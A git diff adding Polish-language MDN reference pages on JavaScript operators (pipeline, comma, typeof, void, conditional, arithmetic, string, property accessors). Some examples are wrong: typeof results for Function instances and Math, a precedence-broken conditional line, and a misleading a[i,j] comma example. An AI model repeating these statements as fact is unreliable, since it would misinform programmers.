+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-new-operator', 'The new Operator')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-new-operator', 'The new Operator')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-11.2.2', 'The new Operator')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3', '#sec-11.2.2', 'The new Operator')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1', '#sec-11.2.2', 'The new Operator')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Wstępna definicja. Zaimpelementowano w JavaScript 1.0.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+
+
+<p>{{Compat("javascript.operators.new")}}</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Reflect.construct()")}}</li>
+ <li>{{jsxref("Object.prototype")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/operatory/operator_potoku/index.html b/files/pl/web/javascript/referencje/operatory/operator_potoku/index.html
new file mode 100644
index 0000000000..9bc36390af
--- /dev/null
+++ b/files/pl/web/javascript/referencje/operatory/operator_potoku/index.html
@@ -0,0 +1,65 @@
+---
+title: Operator potoku
+slug: Web/JavaScript/Referencje/Operatory/Operator_potoku
+tags:
+ - JavaScript
+ - Operator
+ - ekxperymentalny
+translation_of: Web/JavaScript/Reference/Operators/Pipeline_operator
+---
+<div>{{jsSidebar("Operators")}} {{SeeCompatTable}}</div>
+
+<div>Eskperymentalny operator potoku <code>|&gt;</code> (obecnie na pierwszym etapie testów) pozwala na tworzenie łańcuchów wywołań funkcji w czytelny sposób. Dodaje lukier syntaktyczny do wywołania funkcji z pojedynczym argumentem, pozwalając przykładowo na pisanie <code>'%21' |&gt; decodeURI</code> zamiast <code>decodeURI('%21')</code>.</div>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">wyrażenie |&gt; funkcja</pre>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Łańcuchowe_wywołania_funkcji">Łańcuchowe wywołania funkcji</h3>
+
+<p>Operator potoku może poprawić czytelność kodu przy łańcuchowych wywołaniach wielu funkcji.</p>
+
+<pre class="brush: js">const double = (n) =&gt; n * 2;
+const increment = (n) =&gt; n + 1;
+
+// bez operatora potoku
+double(increment(double(double(5)))); // 42
+
+// z użyciem potoku
+5 |&gt; double |&gt; double |&gt; increment |&gt; double; // 42
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Uwagi</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><a href="http://tc39.github.io/proposal-pipeline-operator/">Pipeline operator draft</a></td>
+ <td>Stage 1</td>
+ <td>Nie jest jeszcze częścią specyfikacji ECMAScript.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.operators.pipeline")}}</p>
+</div>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li><a href="https://github.com/tc39/proposals">TC39 proposals</a></li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/operatory/operator_przecinkowy/index.html b/files/pl/web/javascript/referencje/operatory/operator_przecinkowy/index.html
new file mode 100644
index 0000000000..b037dcfdc8
--- /dev/null
+++ b/files/pl/web/javascript/referencje/operatory/operator_przecinkowy/index.html
@@ -0,0 +1,37 @@
+---
+title: Operator przecinkowy
+slug: Web/JavaScript/Referencje/Operatory/Operator_przecinkowy
+tags:
+ - JavaScript
+ - Operator
+ - Przecinek
+ - Przecinkowy
+translation_of: Web/JavaScript/Reference/Operators/Comma_Operator
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<h3 id="Podsumowanie" name="Podsumowanie"></h3>
+
+<p>Operator przecinkowy wykonuje wszystkie argumenty i zwraca wynik ostatniego argumentu.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox notranslate"><em>wyr1</em>, <em>wyr2, wyr3...</em></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>wyr1</code>, <code>wyr2, wyr3</code></dt>
+ <dd>Wyrażenia, z których jedynie ostatnie jest zwracane.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Możemy zastosować operator przecinkowy, kiedy chcemy utworzyć wyrażenie składające się z kilku wyrażeń. Operator przecinkowy jest chyba najczęściej używany w instrukcji pętli for.</p>
+
+<p>Na przykład, jeśli <code>a</code> jest tablicą dwuwymiarową z 10 elementami w sobie, następujący kod użyje operatora przecinkowego do zwiększenia dwóch zmiennych na raz. Kod wypisze wartości elementów ułożonych po przekątnej w tablicy:</p>
+
+<pre class="brush: js notranslate">var a = [[]];
+for (var i=0, j=9; i &lt;= 9; i++, j--)
+ console.log("a["+i+","+j+"]= " + a[i,j])
+</pre>
diff --git a/files/pl/web/javascript/referencje/operatory/operator_typeof/index.html b/files/pl/web/javascript/referencje/operatory/operator_typeof/index.html
new file mode 100644
index 0000000000..dfb169a9b5
--- /dev/null
+++ b/files/pl/web/javascript/referencje/operatory/operator_typeof/index.html
@@ -0,0 +1,91 @@
+---
+title: Operator typeof
+slug: Web/JavaScript/Referencje/Operatory/Operator_typeof
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Operators/typeof
+---
+<p> </p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Operator <code>typeof</code> używa się na jeden z poniższych sposobów:</p>
+
+<ol>
+ <li><code>typeof <em>operand</em> </code></li>
+ <li><code>typeof (<em>operand</em> )</code></li>
+</ol>
+
+<p>Operator <code>typeof</code> zwraca łańcuch zawierający <span class="comment">type of unevaluated operand: jak przetłumaczyć unevaluated?</span>typ operandu. <code>operand</code> jest łańcuchem znaków, zmienną, słowem kluczowym lub obiektem, którego typ ma zostać zwrócony. Zastosowanie nawiasów jest opcjonalne.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <td class="header" colspan="2">Operator</td>
+ </tr>
+ <tr>
+ <td>Zaimplementowany w:</td>
+ <td>JavaScript 1.1</td>
+ </tr>
+ <tr>
+ <td>Wersja ECMA:</td>
+ <td>ECMA-262</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Zakładamy, że możemy zdefiniować następujące zmienne:</p>
+
+<pre>var myFun = new Function("5+2")
+var shape="round"
+var size=1
+var today=new Date()
+</pre>
+
+<p>Operator <code>typeof</code> zwróci następujący rezultat dla tych zmiennych:</p>
+
+<pre>typeof myFun is object
+typeof shape is string
+typeof size is number
+typeof today is object
+typeof dontExist is undefined
+</pre>
+
+<p>Dla słów kluczowych <code>true</code> oraz <code>null</code>, operator <code>typeof</code> zwraca następujący rezultat:</p>
+
+<pre>typeof true is boolean
+typeof null is object
+</pre>
+
+<p>Dla liczby lub łańcucha znaków, operator <code>typeof</code> zwraca następujący rezultat:</p>
+
+<pre>typeof 62 is number
+typeof 'Hello world' is string
+</pre>
+
+<p>Dla własności wartości, operator <code>typeof</code> zwraca typ wartości własności, jakie składają się na treść:</p>
+
+<pre>typeof document.lastModified is string
+typeof window.length is number
+typeof Math.LN2 is number
+</pre>
+
+<p>Dla metod i funkcji, operator <code>typeof</code> zwraca następujący rezultat:</p>
+
+<pre>typeof blur is function
+typeof eval is function
+typeof parseInt is function
+typeof shape.split is function
+</pre>
+
+<p>Dla obiektów predefiniowanych, operator <code>typeof</code> zwraca następujący rezultat:</p>
+
+<pre>typeof Date is function
+typeof Function is function
+typeof Math is function
+typeof Option is function
+typeof String is function
+</pre>
diff --git a/files/pl/web/javascript/referencje/operatory/operator_void/index.html b/files/pl/web/javascript/referencje/operatory/operator_void/index.html
new file mode 100644
index 0000000000..65b3fe8fa2
--- /dev/null
+++ b/files/pl/web/javascript/referencje/operatory/operator_void/index.html
@@ -0,0 +1,51 @@
+---
+title: Operator void
+slug: Web/JavaScript/Referencje/Operatory/Operator_void
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Operators/void
+---
+<p> </p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Operator <code>void</code> może być używany na jeden z dwóch sposobów:</p>
+
+<ol>
+ <li><code>void (<em>wyrażenie</em> )</code></li>
+ <li><code>void <em>wyrażenie</em> </code></li>
+</ol>
+
+<p>Operator <code>void</code> określa wyrażenie, które ma zostać ocenione bez zwracania wartości. <code>wyrażenie</code> jest wyrażeniem JavaScript, które ma zostać ocenione. Nawiasy dookoła wyrażenia są opcjonalne, ale używanie ich jest w dobrym stylu.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <td class="header" colspan="2">Operator</td>
+ </tr>
+ <tr>
+ <td>Zaimplementowany w:</td>
+ <td>JavaScript 1.1</td>
+ </tr>
+ <tr>
+ <td>Wersja ECMA:</td>
+ <td>ECMA-262</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Możesz użyć operatora <code>void</code>, aby określić wyrażenie jako hipertekstowy odnośnik. Wyrażenie jest oceniane, ale nie jest ładowane w miejsce aktualnego dokumentu.</p>
+
+<p>Poniższy kod tworzy hipertekstowy odnośnik, który nie wykonuje nic po kliknięciu go przez użytkownika. Gdy użytkownik kliknie odnośnik, void(0) zostanie oceniony jako 0, jednak nie ma to żadnego efektu w JavaScripcie.</p>
+
+<pre>&lt;a href="javascript:void(0)"&gt;Kliknij tutaj, żeby nic się nie stało&lt;/a&gt;
+</pre>
+
+<p>Poniższy kod tworzy hipertekstowy odnośnik, który wysyła formularz, gdy zostanie kliknięty przez użytkownika.</p>
+
+<pre>&lt;a href="javascript:void(document.form.submit())"&gt;
+Kliknij tutaj, aby wysłać.&lt;/a&gt;
+</pre>
diff --git a/files/pl/web/javascript/referencje/operatory/operator_warunkowy/index.html b/files/pl/web/javascript/referencje/operatory/operator_warunkowy/index.html
new file mode 100644
index 0000000000..b5b00d0aa1
--- /dev/null
+++ b/files/pl/web/javascript/referencje/operatory/operator_warunkowy/index.html
@@ -0,0 +1,34 @@
+---
+title: Operator warunkowy
+slug: Web/JavaScript/Referencje/Operatory/Operator_warunkowy
+tags:
+ - JavaScript
+translation_of: Web/JavaScript/Reference/Operators/Conditional_Operator
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Operator warunkowy jest jedynym operatorem w JavaScript, który pobiera trzy argumenty. Operator jest często stosowany jako skrócenie instrukcji <code>if</code>.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><em>warunek</em> ? <em>wyr1</em> : <em>wyr2</em> </pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>warunek</code></dt>
+ <dd>Wyrażenie, które sprawdza czy warunek jest spełniony (<code>true</code> lub <code>false</code>).</dd>
+</dl>
+
+<dl>
+ <dt><code>wyr1</code>, <code>wyr2</code></dt>
+ <dd>Wyrażenia z wartością jakiegoś typu.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Jeśli <code>warunek</code> jest <code>true</code>, operator zwraca wartość <code>wyr1</code>; w przeciwnym razie zwraca wartość <code>wyr2</code>. Na przykład, do wyświetlenia różnych wiadomości opartych na wartości zmiennej <code>isMember</code>, będziesz mógł zastosować poniższą instrukcję:</p>
+
+<pre>console.log("Opłata wynosi " + (isMember ? "$2.00" : "$10.00"));
+console.log("Opłata wynosi " + (zarejestrowany == 1) ? "$2.00" : "$10.00");
+</pre>
diff --git a/files/pl/web/javascript/referencje/operatory/operatory_arytmetyczne/index.html b/files/pl/web/javascript/referencje/operatory/operatory_arytmetyczne/index.html
new file mode 100644
index 0000000000..8f773f525a
--- /dev/null
+++ b/files/pl/web/javascript/referencje/operatory/operatory_arytmetyczne/index.html
@@ -0,0 +1,267 @@
+---
+title: Operatory arytmetyczne
+slug: Web/JavaScript/Referencje/Operatory/Operatory_arytmetyczne
+tags:
+ - JavaScript
+ - Operator
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>
+<div>{{jsSidebar("Operators")}}</div>
+</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Operatory arytmetyczne pobierają wartości liczbowe (w postaci bezpośredniej lub zmiennej) jako ich operandy i zwracają jedna, wynikową wartość liczbową. Typowymi operatorami arytmetycznymi są dodawanie (+), odejmowanie (-), mnożenie (*), i dzielenie (/). Operatory te działają tak samo jak w innych językach programowania, z wyjątkiem operatora dzielenia /, który w JavaScripcie zwraca wynik będący liczbą zmiennoprzecinkową, nie obcinając części ułamkowej, jak to się dzieje w C lub Javie.</p>
+
+<h2 id="Dodawanie_()">Dodawanie (+)</h2>
+
+<p>Operator dodawania zwraca sume operandów lub jeśli chociaż jeden operand był łańcuchem znaków, ich konkatenacje.</p>
+
+<h3 id="Składnia">Składnia</h3>
+
+<pre class="syntaxbox"><strong>Operator:</strong> x + y</pre>
+
+<h3 class="syntaxbox" id="Przykłady">Przykłady</h3>
+
+<pre><code>// Number + Number -&gt; dodawanie
+1 + 2 // 3
+
+// Boolean + Number -&gt; dodawanie
+true + 1 // 2
+
+// Boolean + Boolean -&gt; dodawanie
+false + false // 0
+
+// Number + String -&gt; konkatenacja
+5 + "foo" // "5foo"
+
+// String + Boolean -&gt; konkatenacja
+"foo" + false // "foofalse"
+
+// String + String -&gt; konkatenacja
+"foo" + "bar" // "foobar"</code></pre>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="Odejmowanie_(-)">Odejmowanie (-)</h2>
+
+<p>Operator odejmowania zwraca różnicę między pierwszym, a drugim operandem.</p>
+
+<h3 id="Składnia_2">Składnia</h3>
+
+<pre><strong>Operator:</strong> x - y
+</pre>
+
+<h3 id="Przykłady_2">Przykłady</h3>
+
+<pre><code>5 - 3 // 2
+3 - 5 // -2
+5 - true // 4
+"foo" - 3 // NaN</code></pre>
+
+<p> </p>
+
+<h2 id="Dzielenie_()">Dzielenie (/)</h2>
+
+<p>Operator dzielenia zwraca iloraz operandów gdzie ten po lewej stronie jest dzielną, a ten po prawej dzielnikiem.</p>
+
+<h3 id="Składnia_3">Składnia</h3>
+
+<pre><strong>Operator:</strong> x / y
+</pre>
+
+<h3 id="Przykłady_3">Przykłady</h3>
+
+<pre><code>1 / 2 // zwraca 0.5 w JavaScript
+1 / 2 // zwraca 0 w Java
+
+1.0 / 2.0 // zwraca 0.5 zarówno w JavaScript i Java
+
+2.0 / 0 // zwraca Infinity w JavaScript
+2.0 / 0.0 // zwraca także Infinity
+2.0 / -0.0 // zwraca -Infinity in JavaScript</code></pre>
+
+<p> </p>
+
+<h2 id="Mnożenie_(*)">Mnożenie (*)</h2>
+
+<p>Operotor mnożenia zwraca wynik mnożenia operandów.</p>
+
+<h3 id="Składnia_4">Składnia</h3>
+
+<pre><strong>Operator:</strong> x * y
+</pre>
+
+<h3 id="Przykłady_4">Przykłady</h3>
+
+<pre><code>2 * 2 // 4
+-2 * 2 // -4
+Infinity * 0 // NaN
+Infinity * Infinity // Infinity
+"foo" * 2 // NaN</code>
+</pre>
+
+<h2 id="Modulo" name="Modulo"> </h2>
+
+<h2 id="Modulo" name="Modulo">Dzielenie modulo (%)</h2>
+
+<p>Operator modulo zwraca resztę z dzielenia pierwszego operandu przez drugi.</p>
+
+<h3 id="Składnia_5">Składnia</h3>
+
+<pre><strong>Operator:</strong> var1 % var2
+</pre>
+
+<h3 id="Przykłady_5">Przykłady</h3>
+
+<pre><code>12 % 5 // 2
+-1 % 2 // -1
+NaN % 2 // NaN
+1 % 2 // 1
+2 % 3 // 2
+-4 % 2 // -0
+5.5 % 2 // 1.5</code></pre>
+
+<p> </p>
+
+<h2 id="Potęgowanie_(**)">Potęgowanie (**)</h2>
+
+<div class="overheadIndicator" style="background: #9CF49C;">
+<p><strong>Ta eksperymentalna własnośc, jest częścią propozycji specyfikacji ECMAScript 2016 (ES7).</strong><br>
+ Ponieważ specyfikacja tej własność i nie została oficjalnie wdrożona, przed użyciem zapoznaj się z tabelą kompatybilności dla różnych przeglądarek. Warto wspomnieć, że składnia jak i zachowanie eksperymentalnych własności mogą zmieniać się wraz ze zmianami w specyfikacji.</p>
+</div>
+
+<p>Operator ten zwraca wynik gdzie pierwszy operand jest podstawą, a drugi wykładnikiem (<code>var1</code><sup><code>var2</code></sup>). Operator ten jest asocjacyjny co oznacza, że dopuszalne jest użycie w formie <code>a ** b ** c, co jest równe a ** (b ** c)</code>.</p>
+
+<h3 id="Składnia_6">Składnia</h3>
+
+<pre><strong>Operator:</strong> var1 ** var2
+</pre>
+
+<h3 id="Uwagi">Uwagi</h3>
+
+<p>W większości języków programowania które posiadają operator potęgowania (zwykle jako ^ lub **) jak np. PHP czy Python, ma on wyższy priorytet niż operatory jedno argumentowe (oznaczające liczbę dodatnią lub ujemną) + czy -, ale istnieją wyjątki. Np. w Bash ten operator posiada niższy priorytet niż wspomniane wcześniej + czy -.<br>
+ W JavaScript niemożliwe jest użycie operatorów jedno argumentowych (<code>+/-/~/!/delete/void/typeof</code>)  bezpośrednio przed podstawą.</p>
+
+<pre><code>-2 ** 2;
+// 4 w Bash, -4 w innych językach.
+// W JavaScript jest to nieprawidłowa próba użycia operatora potęgowania.
+
+
+-(2 ** 2); // -4
+5 ** -2 // 0.04</code>
+</pre>
+
+<h3 id="Przykłady_6">Przykłady</h3>
+
+<pre><code>2 ** 3 // 8
+3 ** 2 // 9
+3 ** 2.5 // 15.588457268119896
+10 ** -1 // 0.1
+NaN ** 2 // NaN
+
+2 ** 3 ** 2 // 512
+2 ** (3 ** 2) // 512
+(2 ** 3) ** 2 // 64</code></pre>
+
+<p>Aby odwrócić znak zwracanej wartości:</p>
+
+<pre><code>-(2 ** 2) // -4</code></pre>
+
+<p>Sposób na wymuszenie potęgowania ujemnej liczby:</p>
+
+<pre><code>(-2) ** 2 // 4</code></pre>
+
+<h2 id="Inkrementacja" name="Inkrementacja"> </h2>
+
+<h2 id="Inkrementacja" name="Inkrementacja">Inkrementacja (++)</h2>
+
+<p>Operator inkrementacji zwiększa o 1 wartość operandu i zwraca taką wartość. </p>
+
+<ul>
+ <li>Jeśli uzyty jako przyrostek (x++), będzie działał jako postinkrementacja, czyli zwracana wartość nie będzie powiększona.</li>
+ <li>Jeśli użyty jako przedrostek (++x), będzie działał jako preinkrementacja, czyli zwracana wartość będzie już powiększona. </li>
+</ul>
+
+<h3 id="Składnia_7">Składnia</h3>
+
+<pre><strong>Operator:</strong> x++ lub ++x
+</pre>
+
+<h3 id="Examples">Examples</h3>
+
+<pre><code>// Przyrostek
+var x = 3;
+y = x++; // y = 3, x = 4
+
+// Przedrostek
+var a = 2;
+b = ++a; // a = 3, b = 3</code></pre>
+
+<p> </p>
+
+<h2 id="Dekrementacja_(--)">Dekrementacja (--)</h2>
+
+<p>Operator dekrementacji zmniejsza o 1 wartość operandu i zwraca taką wartość.</p>
+
+<ul>
+ <li>Jeśli uzyty jako przyrostek (x--), będzie działał jako postdekrementacja, czyli zwracana wartość nie będzie pomniejszona.</li>
+ <li>Jeśli użyty jako przedrostek (--x), będzie działał jako predekrementacja, czyli zwracana wartość będzie już pomniejszona. </li>
+</ul>
+
+<h3 id="Składnia_8">Składnia</h3>
+
+<pre><strong>Operator:</strong> x-- lub --x
+</pre>
+
+<h3 id="Przykłady_7">Przykłady</h3>
+
+<pre><code>// Przyrostek
+var x = 3;
+y = x--; // y = 3, x = 2
+
+// Przedrostek
+var a = 2;
+b = --a; // a = 1, b = 1</code></pre>
+
+<p> </p>
+
+<h2 id="Inkrementacja" name="Inkrementacja">Negacja (-)</h2>
+
+<p>Jednoargumentowy operator negacji zwraca wartość operandu ze zmienionym znakiem.</p>
+
+<h3 id="Składnia_9">Składnia</h3>
+
+<pre><strong>Operator:</strong> -x
+</pre>
+
+<h3 id="Przykłady_8">Przykłady</h3>
+
+<pre><code>var x = 3;
+y = -x; // y = -3, x = 3</code></pre>
+
+<p> </p>
+
+<h2 id="Inkrementacja" name="Inkrementacja">Jednoargumentowy plus (+)</h2>
+
+<p>Jest to jednoargumentowy operator, który transformuje inne typy zmiennych do typu Number. Jeśli dana wartość nie może zostać przetransformowana, zwracany jest typ NaN.</p>
+
+<h3 id="Składnia_10">Składnia</h3>
+
+<pre><strong>Operator:</strong> +x
+</pre>
+
+<h3 id="Przykłady_9">Przykłady</h3>
+
+<pre><code>+3 // 3
++"3" // 3
++true // 1
++false // 0
++null // 0
+
+var x = function(val){
+ return val
+}
+</code>+x // NaN
+</pre>
diff --git a/files/pl/web/javascript/referencje/operatory/operatory_działające_na_ciągach_znaków/index.html b/files/pl/web/javascript/referencje/operatory/operatory_działające_na_ciągach_znaków/index.html
new file mode 100644
index 0000000000..6087023171
--- /dev/null
+++ b/files/pl/web/javascript/referencje/operatory/operatory_działające_na_ciągach_znaków/index.html
@@ -0,0 +1,34 @@
+---
+title: Operatory działające na ciągach znaków
+slug: Web/JavaScript/Referencje/Operatory/Operatory_działające_na_ciągach_znaków
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Operators/Arithmetic_Operators#Addition
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Oprócz operatorów porównania, których można używać z ciągami znaków, dostępny jest także operator konkatenacji (<code>+</code>), łączący dwie wartości tekstowe w jedną, zwracający nowy ciąg znaków stanowiący połączenie swoich operandów. Na przykład <code>"ciąg " + "znaków"</code> zwróci <code>"ciąg znaków"</code>.
+</p><p>Skrócony operator przypisania <code>+=</code> może być również używany do konkatenacji ciągów znaków. Na przykład, jeśli zmienna <code>mojtekst</code> zawiera wartość "<code>alfa</code>", wyrażenie <code>mojtekst += "bet"</code> zostanie wyliczone jako "<code>alfabet</code>", a wartość ta zostanie przypisana do zmiennej <code>mojtekst</code>.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<td class="header" colspan="2">Operator</td>
+</tr>
+<tr>
+<td>Zaimplementowany w:</td>
+<td>JavaScript 1.0</td>
+</tr>
+<tr>
+<td>Wersja ECMA:</td>
+<td>ECMA-262</td>
+</tr>
+</tbody></table>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Operators/String_Operators", "es": "es/Referencia_de_JavaScript_1.5/Operadores/String", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Op\u00e9rateurs/Op\u00e9rateurs_de_cha\u00eenes" } ) }}
diff --git a/files/pl/web/javascript/referencje/operatory/operatory_pamięci/index.html b/files/pl/web/javascript/referencje/operatory/operatory_pamięci/index.html
new file mode 100644
index 0000000000..5db4669011
--- /dev/null
+++ b/files/pl/web/javascript/referencje/operatory/operatory_pamięci/index.html
@@ -0,0 +1,177 @@
+---
+title: Operatory pamięci
+slug: Web/JavaScript/Referencje/Operatory/Operatory_pamięci
+tags:
+ - JavaScript
+ - Operator
+translation_of: Web/JavaScript/Reference/Operators/Property_Accessors
+---
+<div>
+<div>{{jsSidebar("Operators")}}</div>
+</div>
+
+<p>Operatory pamięci umożliwiają dostęp do właściwości lub metod obiektu.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">object.property
+object['property']
+</pre>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Obiekt, w rzeczywistości, jest <em>kojarzeniową tablicą</em> (jak <em>mapa, słownik, hash, poglądowa tabela</em>).<em> Klucze </em>w tablicy są nazwami właściwości i metod (właściwości odnoszących się do funkcji). Istnieją dwa sposoby uzyskania dostępu do właściwości: zapis z kropką lub zapis z nawiasem (operator indeksu dolnego).</p>
+
+<h3 id="Dot_notation" name="Dot_notation">Zapis z kropką</h3>
+
+<pre class="brush: js">get = object.property;
+object.property = set;
+</pre>
+
+<p><code>property</code> musi być nazwane poprawnie, według zasad JavaScript, innymi słowy: musi być sekwencją znaków alfanumerycznych (włączając w to znak podkreślenia oraz znak dolara), która nie zaczyna się od cyfry. Na przykład: <code>object.$1</code> jest poprawny, natomiast <code>object.1</code> jest nieprawidłowy.</p>
+
+<p>Przykład:</p>
+
+<pre class="brush: js">document.createElement('pre');
+</pre>
+
+<p>Metoda "createElement" jest wywoływana z poziomu <code>document</code>.</p>
+
+<pre class="brush: js" id="Bracket_notation">Zapis z nawiasem</pre>
+
+<pre>get = object[property_name];
+object[property_name] = set;
+</pre>
+
+<p><code>property_name</code> jest łańcuchem znaków, nie musi być poprawnym identyfikatorem - może być zupełnie dowolny, przykładowo: "1foo", "!bar!" lub nawet " " (spacja).</p>
+
+<pre class="brush: js">document['createElement']('pre');
+</pre>
+
+<p>Mimo różnic, powyższa notacja wykonuje dokładnie to samo co zapis z kropką.</p>
+
+<h3 id="Nazwy_w.C5.82asno.C5.9Bci" name="Nazwy_w.C5.82asno.C5.9Bci">Nazwy właściwości</h3>
+
+<p>Nazwy właściwości muszą być łańcuchami. Oznacza to, że nazwy nie będące łańcuchami nie mogą być używane jako klucze w obiekcie. Dowolny obiekt nie będący łańcuchem, wliczając w to liczby, zostanie zrzutowany do obiektu string poprzez metodę {{jsxref("Object.toString", "toString()")}}.</p>
+
+<pre class="brush: js">var object = {};
+object['1'] = 'value';
+alert(object[1]);
+</pre>
+
+<p>Powyższy kod wyświetla "value", ponieważ 1 został zrzutowany do '1'.</p>
+
+<pre class="brush: js">var foo = {unique_prop: 1}, bar = {unique_prop: 2}, object = {};
+object[foo] = 'value';
+console.log(object[bar]);
+</pre>
+
+<p>W tym przykładzie także zostanie wypisany "value", ponieważ zarówno foo jak i bar zostały skonwertowane do tego samego łańcucha. W silniku JavaScript <a href="/pl/docs/SpiderMonkey" title="SpiderMonkey">SpiderMonkey</a>, łańcuch będzie wyglądał następująco: "{{ mediawiki.external('object Object') }}".</p>
+
+<h3 id="Wi.C4.85zanie_metod" name="Wi.C4.85zanie_metod">Wiązanie metod</h3>
+
+<p>Metoda nie jest powiązana z obiektem, którego jest metodą. Innymi słowy: <code>this</code> w metodzie nie jest ustawiony na sztywno. Nie musi on koniecznie odnosić się do obiektu zawierającego metodę. Zamiast tego <code>this</code> jest przekazywany do funkcji podczas jej wywoływania. Zajrzyj do <a href="/pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_specjalne/Operator_this#Wi.C4.85zanie_metod" title="Dokumentacja_języka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_this#Wi.C4.85zanie_metod">wiązania metod</a> po więcej informacji.</p>
+
+<h3 id="Note_on_eval" name="Note_on_eval">Uwaga dotycząca <code>eval</code></h3>
+
+<p>Początkujący programiści JavaScript popełniają częsty błąd, używając <a href="/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/eval" title="Dokumentacja_języka_JavaScript_1.5/Funkcje/eval">eval</a> tam gdzie może być użyty zapis z nawiasem. Poniżej zaprezentowany jest przykład.</p>
+
+<pre class="brush: js">x = eval('document.form_name.' + strFormControl + '.value');
+</pre>
+
+<p><code>eval</code> jest wolno-działającą funkcją i powinien być jak najrzadziej używany. Zoptymalizowany fragment kodu brzmi:</p>
+
+<pre class="brush: js">x = document.form_name[strFormControl].value;
+</pre>
+
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-property-accessors', 'Property Accessors')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-property-accessors', 'Property Accessors')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-11.2.1', 'Property Accessors')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1', '#sec-11.2.1', 'Property Accessors')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Definicja początkowa. Zaimplementowana w JavaScript 1.0.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
